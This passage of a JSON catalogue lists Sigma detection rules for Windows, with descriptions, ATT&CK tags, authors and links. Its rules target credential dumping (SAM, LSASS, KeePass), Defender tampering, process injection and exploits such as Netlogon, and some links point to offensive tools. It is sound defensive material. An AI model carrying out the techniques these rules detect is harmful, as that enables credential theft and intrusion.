"https://github.com/br-sn/CheekyBlinder/blob/e1764a8a0e7cda8a3716aefa35799f560686e01c/CheekyBlinder/CheekyBlinder.cpp", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_rtcore64_service_install.yml" - ], - "tags": [ - "attack.persistence" - ], - "creation_date": "2022/08/30", - "filename": "win_system_susp_rtcore64_service_install.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious SAM dump activity as cause by QuarksPwDump and other password dumpers", - "uuid": "839dd1e8-eda8-4834-8145-01beeee33acd", - "value": "SAM Dump to AppData", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_sam_dump.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002" - ], - "creation_date": "2018/01/27", - "filename": "win_system_susp_sam_dump.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious service installation commands", - "uuid": "1d61f71d-59d2-479e-9562-4ff5f4ead16b", - "value": "Suspicious Service Installation", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_service_installation.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "car.2013-09-005", - "attack.t1543.003" - ], - "creation_date": "2022/03/18", - "filename": "win_system_susp_service_installation.yml", - "author": "pH-T", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects service installation in suspicious folder appdata", - "uuid": "5e993621-67d4-488a-b9ae-b420d08b96cb", - "value": "Service Installation in Suspicious Folder", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_service_installation_folder.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "car.2013-09-005", - "attack.t1543.003" - ], - "creation_date": "2022/03/18", - "filename": "win_system_susp_service_installation_folder.yml", - "author": "pH-T", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects service installation with suspicious folder patterns", - "uuid": "1b2ae822-6fe1-43ba-aa7c-d1a3b3d1d5f2", - "value": "Service Installation with Suspicious Folder Pattern", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_service_installation_folder_pattern.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "car.2013-09-005", - "attack.t1543.003" - ], - "creation_date": "2022/03/18", - "filename": "win_system_susp_service_installation_folder_pattern.yml", - "author": "pH-T", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious service installation scripts", - "uuid": "70f00d10-60b2-4f34-b9a0-dc3df3fe762a", - "value": "Suspicious Service Installation Script", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_service_installation_script.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "car.2013-09-005", - "attack.t1543.003" - ], - "creation_date": "2022/03/18", - "filename": "win_system_susp_service_installation_script.yml", - "author": "pH-T", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Windows Update get some error Check if need a 0-days KB", - "uuid": "13cfeb75-9e33-4d04-b0f7-ab8faaa95a59", - "value": "Windows Update Error", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_system_update_error.yml" - ], - "tags": [ - "attack.impact", - "attack.resource_development", - "attack.t1584" - ], - "creation_date": "2021/12/04", - "filename": "win_system_susp_system_update_error.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "During exploitation of this vuln, two logs (providername:Microsoft-Windows-User Profiles Service) with eventid 1511 and 1515 (maybe lot of false positives with this event) are created. Moreover, it appears the directory \\Users\\TEMP is created may be created during the exploitation.Viewed on 2008 Server", - "uuid": "52a85084-6989-40c3-8f32-091e12e17692", - "value": "Suspicious Usage of CVE_2021_34484 or CVE 2022_21919", - "meta": { - "refs": [ - "https://packetstormsecurity.com/files/166692/Windows-User-Profile-Service-Privlege-Escalation.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_susp_vuln_cve_2022_21919_or_cve_2021_34484.yml" - ], - "tags": [ - "attack.execution" - ], - "creation_date": "2022/08/16", - "filename": "win_system_susp_vuln_cve_2022_21919_or_cve_2021_34484.yml", - "author": "Cybex", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects a service installed by a client which has PID 0 or whose parent has PID 0", - "uuid": "71c276aa-49cd-43d2-b920-2dcd3e6962d5", - "value": "Service Installed By Unusual Client - System", - "meta": { - "refs": [ - "https://www.elastic.co/guide/en/security/current/windows-service-installed-via-an-unusual-client.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_system_service_installation_by_unusal_client.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1543" - ], - "creation_date": "2022/09/15", - "filename": "win_system_system_service_installation_by_unusal_client.yml", - "author": "Tim Rauch", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "system", - "logsource.product": "windows" - } - }, - { - "description": "Well-known TAP software installation. Possible preparation for data exfiltration using tunnelling techniques", - "uuid": "8e4cf0e5-aa5d-4dc3-beff-dc26917744a9", - "value": "Tap Driver Installation", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_tap_driver_installation.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1048" - ], - "creation_date": "2019/10/24", - "filename": "win_system_tap_driver_installation.yml", - "author": "Daniil Yugoslavskiy, Ian Davis, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate OpenVPN TAP insntallation" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects volume shadow copy mount via windows event log", - "uuid": "f512acbf-e662-4903-843e-97ce4652b740", - "value": "Volume Shadow Copy Mount", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-3---esentutlexe-sam-copy", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_volume_shadow_copy_mount.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002" - ], - "creation_date": "2020/10/20", - "filename": "win_system_volume_shadow_copy_mount.yml", - "author": "Roberto Rodriguez @Cyb3rWard0g, Open Threat Research (OTR)", - "level": "low", - "falsepositive": [ - "Legitimate use of volume shadow copy mounts (backups maybe)." - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects that a vulnerable Netlogon secure channel connection was allowed, which could be an indicator of CVE-2020-1472.", - "uuid": "a0cb7110-edf0-47a4-9177-541a4083128a", - "value": "Vulnerable Netlogon Secure Channel Connection Allowed", - "meta": { - "refs": [ - "https://support.microsoft.com/en-us/help/4557222/how-to-manage-the-changes-in-netlogon-secure-channel-connections-assoc", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_vul_cve_2020_1472.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1548" - ], - "creation_date": "2020/09/15", - "filename": "win_system_vul_cve_2020_1472.yml", - "author": "NVISO", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "The attacker creates a computer object using those permissions with a password known to her.\nAfter that she clears the attribute ServicePrincipalName on the computer object.\nBecause she created the object (CREATOR OWNER), she gets granted additional permissions and can do many changes to the object.\n", - "uuid": "44bbff3e-4ca3-452d-a49a-6efa4cafa06f", - "value": "Exploit SamAccountName Spoofing with Kerberos", - "meta": { - "refs": [ - "https://cloudbrothers.info/en/exploit-kerberos-samaccountname-spoofing/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/win_system_vul_cve_2021_42278_or_cve_2021_42287.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1558.003" - ], - "creation_date": "2021/12/15", - "filename": "win_system_vul_cve_2021_42278_or_cve_2021_42287.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "This rule detects rare scheduled task creations. Typically software gets installed on multiple systems and not only on a few. The aggregation and count function selects tasks with rare names.", - "uuid": "b20f6158-9438-41be-83da-a5a16ac90c2b", - "value": "Rare Scheduled Task Creations", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/taskscheduler/win_rare_schtask_creation.yml" - ], - "tags": [ - "attack.persistence", - "attack.s0111", - "attack.t1053.005" - ], - "creation_date": "2017/03/17", - "filename": "win_rare_schtask_creation.yml", - "author": "Florian Roth", - "level": "low", - "falsepositive": [ - "Software installation" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects cases in which ngrok, a reverse proxy tool, forwards events to the local RDP port, which could be a sign of malicious behaviour", - "uuid": "64d51a51-32a6-49f0-9f3d-17e34d640272", - "value": "Ngrok Usage with Remote Desktop Service", - "meta": { - "refs": [ - "https://twitter.com/tekdefense/status/1519711183162556416?s=12&t=OTsHCBkQOTNs1k3USz65Zg", - "https://ngrok.com/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/terminalservices/win_terminalservices_rdp_ngrok.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1090" - ], - "creation_date": "2022/04/29", - "filename": "win_terminalservices_rdp_ngrok.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects Access to LSASS Process", - "uuid": "a0a278fe-2c0e-4de2-ac3c-c68b08a9ba98", - "value": "LSASS Access Detected via Attack Surface Reduction", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/attack-surface-reduction-exploit-guard?WT.mc_id=twitter", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_alert_lsass_access.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ], - "creation_date": "2018/08/26", - "filename": "win_defender_alert_lsass_access.yml", - "author": "Markus Neis", - "level": "high", - "falsepositive": [ - "Google Chrome GoogleUpdate.exe", - "Some Taskmgr.exe related activity" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects triggering of AMSI by Windows Defender.", - "uuid": "ea9bf0fa-edec-4fb8-8b78-b119f2528186", - "value": "Windows Defender AMSI Trigger Detected", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows/win32/amsi/how-amsi-helps", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_amsi_trigger.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ], - "creation_date": "2020/09/14", - "filename": "win_defender_amsi_trigger.yml", - "author": "Bhabesh Raj", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects disabling Windows Defender threat protection", - "uuid": "fe34868f-6e0e-4882-81f6-c43aa8f15b62", - "value": "Windows Defender Threat Detection Disabled", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/troubleshoot-windows-defender-antivirus", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_disabled.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2020/07/28", - "filename": "win_defender_disabled.yml", - "author": "J\u00e1n Tren\u010dansk\u00fd, frack113", - "level": "low", - "falsepositive": [ - "Administrator actions" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects the Setting of Windows Defender Exclusions", - "uuid": "1321dc4e-a1fe-481d-a016-52c45f0c8b4f", - "value": "Windows Defender Exclusions Added", - "meta": { - "refs": [ - "https://twitter.com/_nullbind/status/1204923340810543109", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_exclusions.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2021/07/06", - "filename": "win_defender_exclusions.yml", - "author": "Christian Burkard", - "level": "medium", - "falsepositive": [ - "Administrator actions" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects when someone is adding or removing applications or folder from exploit guard \"ProtectedFolders\" and \"AllowedApplications\"", - "uuid": "a3ab73f1-bd46-4319-8f06-4b20d0617886", - "value": "Windows Defender Exploit Guard Tamper", - "meta": { - "refs": [ - "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_exploit_guard_tamper.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ], - "creation_date": "2022/08/05", - "filename": "win_defender_exploit_guard_tamper.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Windows Defender logs when the history of detected infections is deleted. Log file will contain the message \"Windows Defender Antivirus has removed history of malware and other potentially unwanted software\".", - "uuid": "2afe6582-e149-11ea-87d0-0242ac130003", - "value": "Windows Defender Malware Detection History Deletion", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/troubleshoot-microsoft-defender-antivirus", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_history_delete.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.001" - ], - "creation_date": "2020/08/13", - "filename": "win_defender_history_delete.yml", - "author": "Cian Heasley", - "level": "high", - "falsepositive": [ - "Deletion of Defender malware detections history for legitimate reasons" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects blocking of process creations originating from PSExec and WMI commands", - "uuid": "97b9ce1e-c5ab-11ea-87d0-0242ac130003", - "value": "PSExec and WMI Process Creations Block", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction?WT.mc_id=twitter#block-process-creations-originating-from-psexec-and-wmi-commands", - "https://twitter.com/duff22b/status/1280166329660497920", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_psexec_wmi_asr.yml" - ], - "tags": [ - "attack.execution", - "attack.lateral_movement", - "attack.t1047", - "attack.t1569.002" - ], - "creation_date": "2020/07/14", - "filename": "win_defender_psexec_wmi_asr.yml", - "author": "Bhabesh Raj", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects block of attempt to disable real time protection of Microsoft Defender by tamper protection", - "uuid": "49e5bc24-8b86-49f1-b743-535f332c2856", - "value": "Microsoft Defender Tamper Protection Trigger", - "meta": { - "refs": [ - "https://bhabeshraj.com/post/tampering-with-microsoft-defenders-tamper-protection", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_tamper_protection_trigger.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2021/07/05", - "filename": "win_defender_tamper_protection_trigger.yml", - "author": "Bhabesh Raj", - "level": "high", - "falsepositive": [ - "Administrator actions" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects all actions taken by Windows Defender malware detection engines", - "uuid": "57b649ef-ff42-4fb0-8bf6-62da243a1708", - "value": "Windows Defender Threat Detected", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/troubleshoot-windows-defender-antivirus", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/windefend/win_defender_threat.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ], - "creation_date": "2020/07/28", - "filename": "win_defender_threat.yml", - "author": "J\u00e1n Tren\u010dansk\u00fd", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious WMI event filter and command line event consumer based on WMI and Security Logs.", - "uuid": "0b7889b4-5577-4521-a60a-3376ee7f9f7b", - "value": "WMI Persistence", - "meta": { - "refs": [ - "https://twitter.com/mattifestation/status/899646620148539397", - "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/wmi/win_wmi_persistence.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1546.003" - ], - "creation_date": "2017/08/22", - "filename": "win_wmi_persistence.yml", - "author": "Florian Roth, Gleb Sukhodolskiy, Timur Zinniatullin oscd.community", - "level": "medium", - "falsepositive": [ - "Unknown (data set is too small; further testing needed)" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects remote thread injection events based on action seen used by bumblebee", - "uuid": "994cac2b-92c2-44bf-8853-14f6ca39fbda", - "value": "Bumblebee Remote Thread Creation", - "meta": { - "refs": [ - "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_bumblebee.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1218.011", - "attack.t1059.001" - ], - "creation_date": "2022/09/27", - "filename": "create_remote_thread_win_bumblebee.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "create_remote_thread", - "logsource.product": "windows" - } - }, - { - "description": "Detects remote thread creation from CACTUSTORCH as described in references.", - "uuid": "2e4e488a-6164-4811-9ea1-f960c7359c40", - "value": "CACTUSTORCH Remote Thread Creation", - "meta": { - "refs": [ - "https://twitter.com/SBousseaden/status/1090588499517079552", - "https://github.com/mdsecactivebreach/CACTUSTORCH", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_cactustorch.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1055.012", - "attack.execution", - "attack.t1059.005", - "attack.t1059.007", - "attack.t1218.005" - ], - "creation_date": "2019/02/01", - "filename": "create_remote_thread_win_cactustorch.yml", - "author": "@SBousseaden (detection), Thomas Patzke (rule)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "create_remote_thread", - "logsource.product": "windows" - } - }, - { - "description": "Detects a possible remote threat creation with certain characteristics which are typical for Cobalt Strike beacons", - "uuid": "6309645e-122d-4c5b-bb2b-22e4f9c2fa42", - "value": "CobaltStrike Process Injection", - "meta": { - "refs": [ - "https://medium.com/@olafhartong/cobalt-strike-remote-threads-detection-206372d11d0f", - "https://blog.cobaltstrike.com/2018/04/09/cobalt-strike-3-11-the-snake-that-eats-its-tail/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_cobaltstrike_process_injection.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1055.001" - ], - "creation_date": "2018/11/30", - "filename": "create_remote_thread_win_cobaltstrike_process_injection.yml", - "author": "Olaf Hartong, Florian Roth, Aleksey Potapov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "create_remote_thread", - "logsource.product": "windows" - } - }, - { - "description": "Detects potential use of CreateRemoteThread api and LoadLibrary function to inject DLL into a process", - "uuid": "052ec6f6-1adc-41e6-907a-f1c813478bee", - "value": "CreateRemoteThread API and LoadLibrary", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/05_defense_evasion/WIN-180719170510.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_loadlibrary.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1055.001" - ], - "creation_date": "2019/08/11", - "filename": "create_remote_thread_win_loadlibrary.yml", - "author": "Roberto Rodriguez @Cyb3rWard0g", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "create_remote_thread", - "logsource.product": "windows" - } - }, - { - "description": "Detects remote thread creation in KeePass.exe indicating password dumping activity", - "uuid": "77564cc2-7382-438b-a7f6-395c2ae53b9a", - "value": "KeePass Password Dumping", - "meta": { - "refs": [ - "https://www.cisa.gov/uscert/ncas/alerts/aa20-259a", - "https://github.com/denandz/KeeFarce", - "https://github.com/GhostPack/KeeThief", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_password_dumper_keepass.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1555.005" - ], - "creation_date": "2022/04/22", - "filename": "create_remote_thread_win_password_dumper_keepass.yml", - "author": "Timon Hackenjos", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "create_remote_thread", - "logsource.product": "windows" - } - }, - { - "description": "Detects password dumper activity by monitoring remote thread creation EventID 8 in combination with the lsass.exe process as TargetImage.\nThe process in field Process is the malicious program. A single execution can lead to hundreds of events.\n", - "uuid": "f239b326-2f41-4d6b-9dfa-c846a60ef505", - "value": "Password Dumper Remote Thread in LSASS", - "meta": { - "refs": [ - "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/WCE.htm", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_password_dumper_lsass.yml" - ], - "tags": [ - "attack.credential_access", - "attack.s0005", - "attack.t1003.001" - ], - "creation_date": "2017/02/19", - "filename": "create_remote_thread_win_password_dumper_lsass.yml", - "author": "Thomas Patzke", - "level": "high", - "falsepositive": [ - "Antivirus products" - ], - "logsource.category": "create_remote_thread", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of a remote thread from a Powershell process to another process", - "uuid": "eeb2e3dc-c1f4-40dd-9bd5-149ee465ad50", - "value": "Accessing WinAPI in PowerShell. Code Injection", - "meta": { - "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_powershell_code_injection.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2020/10/06", - "filename": "create_remote_thread_win_powershell_code_injection.yml", - "author": "Nikita Nazarov, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "create_remote_thread", - "logsource.product": "windows" - } - }, - { - "description": "Detects PowerShell remote thread creation in Rundll32.exe", - "uuid": "99b97608-3e21-4bfe-8217-2a127c396a0e", - "value": "PowerShell Rundll32 Remote Thread Creation", - "meta": { - "refs": [ - "https://www.fireeye.com/blog/threat-research/2018/06/bring-your-own-land-novel-red-teaming-technique.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_powershell_rundll32.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1218.011", - "attack.t1059.001" - ], - "creation_date": "2018/06/25", - "filename": "create_remote_thread_win_susp_powershell_rundll32.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "create_remote_thread", - "logsource.product": "windows" - } - }, - { - "description": "Offensive tradecraft is switching away from using APIs like \"CreateRemoteThread\", however, this is still largely observed in the wild.\nThis rule aims to detect suspicious processes (those we would not expect to behave in this way like word.exe or outlook.exe) creating remote threads on other processes.\nIt is a generalistic rule, but it should have a low FP ratio due to the selected range of processes.\n", - "uuid": "66d31e5f-52d6-40a4-9615-002d3789a119", - "value": "Suspicious Remote Thread Source", - "meta": { - "refs": [ - "Personal research, statistical analysis", - "https://lolbas-project.github.io", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_remote_thread_source.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.defense_evasion", - "attack.t1055" - ], - "creation_date": "2019/10/27", - "filename": "create_remote_thread_win_susp_remote_thread_source.yml", - "author": "Perez Diego (@darkquassar), oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "create_remote_thread", - "logsource.product": "windows" - } - }, - { - "description": "Offensive tradecraft is switching away from using APIs like \"CreateRemoteThread\", however, this is still largely observed in the wild.\nThis rule aims to detect suspicious processes (those we would not expect to behave in this way like word.exe or outlook.exe) creating remote threads on other processes.\nIt is a generalistic rule, but it should have a low FP ratio due to the selected range of processes.\n", - "uuid": "f016c716-754a-467f-a39e-63c06f773987", - "value": "Suspicious Remote Thread Target", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_remote_thread_target.yml" - ], - "tags": "No established tags", - "creation_date": "2022/08/25", - "filename": "create_remote_thread_win_susp_remote_thread_target.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "create_remote_thread", - "logsource.product": "windows" - } - }, - { - "description": "Detects a remote thread creation in suspicious target images", - "uuid": "a1a144b7-5c9b-4853-a559-2172be8d4a03", - "value": "Remote Thread Creation in Suspicious Targets", - "meta": { - "refs": [ - "https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_susp_targets.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055.003" - ], - "creation_date": "2022/03/16", - "filename": "create_remote_thread_win_susp_targets.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "create_remote_thread", - "logsource.product": "windows" - } - }, - { - "description": "Detects a remote thread creation of Ttdinject.exe used as proxy", - "uuid": "c15e99a3-c474-48ab-b9a7-84549a7a9d16", - "value": "Remote Thread Creation Ttdinject.exe Proxy", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Ttdinject/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_ttdinjec.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1127" - ], - "creation_date": "2022/05/16", - "filename": "create_remote_thread_win_ttdinjec.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "create_remote_thread", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of an ADS data stream that contains an executable (non-empty imphash)", - "uuid": "b69888d4-380c-45ce-9cf9-d9ce46e67821", - "value": "Executable in ADS", - "meta": { - "refs": [ - "https://twitter.com/0xrawsec/status/1002478725605273600?s=21", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_ads_executable.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.s0139", - "attack.t1564.004" - ], - "creation_date": "2018/06/03", - "filename": "create_stream_hash_ads_executable.yml", - "author": "Florian Roth, @0xrawsec", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "create_stream_hash", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of a suspicious ADS (Alternate Data Stream) file by software other than browsers", - "uuid": "573df571-a223-43bc-846e-3f98da481eca", - "value": "Creation Of a Suspicious ADS File Outside a Browser Download", - "meta": { - "refs": [ - "https://www.bleepingcomputer.com/news/security/exploited-windows-zero-day-lets-javascript-files-bypass-security-warnings/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_creation_internet_file.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/10/22", - "filename": "create_stream_hash_creation_internet_file.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Other legitimate browsers not currently included in the filter (please add them)", - "Legitimate downloads via scripting or command-line tools (Investigate to determine if it's legitimate)" - ], - "logsource.category": "create_stream_hash", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of a file on disk that has an imphash of a well-known hack tool", - "uuid": "19b041f6-e583-40dc-b842-d6fa8011493f", - "value": "Hacktool Download", - "meta": { - "refs": [ - "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=90015", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_stream_hash/create_stream_hash_hacktool_download.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.s0139", - "attack.t1564.004" - ], - "creation_date": "2022/08/24", - "filename": "create_stream_hash_hacktool_download.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "create_stream_hash", - "logsource.product": "windows" - } - }, - { - "description": "Exports the target Registry key and hides it in the specified alternate data stream.", - "uuid": "0d7a9363-af70-4e7b-a3b7-1a176b7fbe84", - "value": 